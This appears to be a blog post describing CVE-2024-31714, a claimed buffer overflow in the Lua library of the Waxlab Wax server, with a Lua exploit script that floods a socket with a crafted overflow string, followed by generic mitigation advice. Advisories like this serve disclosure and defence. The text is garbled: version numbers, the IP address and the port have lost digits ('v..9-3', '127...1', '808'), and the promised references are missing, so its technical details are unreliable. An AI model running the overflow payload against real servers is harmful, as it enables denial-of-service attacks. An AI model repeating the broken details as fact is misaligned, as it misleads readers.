A critical security vulnerability, CVE-2024-31714, has been discovered in Waxlab Wax v..9-3 and versions before it, affecting the Lua library component. By exploiting this buffer overflow vulnerability, an attacker can potentially cause a denial of service attack, disrupting the normal functioning of the affected systems. In this long read post, we will explore the details of this vulnerability, its exploit, possible mitigation techniques, and original references.

Vulnerability Details

Waxlab wax is an efficient and versatile web server platform, specifically designed for handling online streaming content, video-on-demand, and real-time video analytics. The Lua library is an integral part of this platform, providing the ability for developers to write custom scripts and plugins using the Lua programming language.

The vulnerability, classified as CVE-2024-31714, affects the process of handling and parsing specific input strings within the Lua library component in Waxlab Wax v..9-3 and prior versions. When a specially crafted input string is sent to the Wax system, the buffer overflow can be triggered, causing a denial of service attack. This results in the disruption of the normal functioning of the platform, leading to potential data loss and service unavailability.

Exploit Details

An attacker can exploit the CVE-2024-31714 vulnerability by crafting and sending a specific input string to the Wax system. This string, when processed and parsed within the Lua library, results in a buffer overflow, causing the denial of service attack.

Below is a sample code snippet illustrating the exploitation of this vulnerability

-- Lua script exploiting the Buffer Overflow vulnerability (CVE-2024-31714) in Wax
local socket = require("socket")

-- Creating the socket connection to the Wax server on port 808
local client = socket.connect("127...1", 808)

-- Specially crafted input string to trigger the Buffer Overflow vulnerability
local malicious_input = string.rep("A", 1024) .. "\x90\x90\x90\x90" .. "\x13\x58\x4D\x00"

-- Sending the malicious input string to the Wax server
client:send(malicious_input)

-- Closing the connection
client:close()

Please note that the above code snippet is for educational purposes only and should not be used for malicious activities.

The code snippet shows how an attacker can create a malicious input string that, once processed within the Lua library, will trigger the buffer overflow vulnerability. This illustrates the potential risk of a successful denial of service attack on Wax vulnerable systems.

Mitigation Techniques

To protect your Wax instance from the CVE-2024-31714 vulnerability, you should apply the necessary security patches and updates provided by the developers to patch the vulnerable Lua library component. Regularly updating your Wax software to the latest version is highly recommended to reduce the risk of security threats.

You should also allocate sufficient resources and implement strict security measures to protect your platforms, such as employing web application firewalls, network segmentation, and practicing proper user access management.
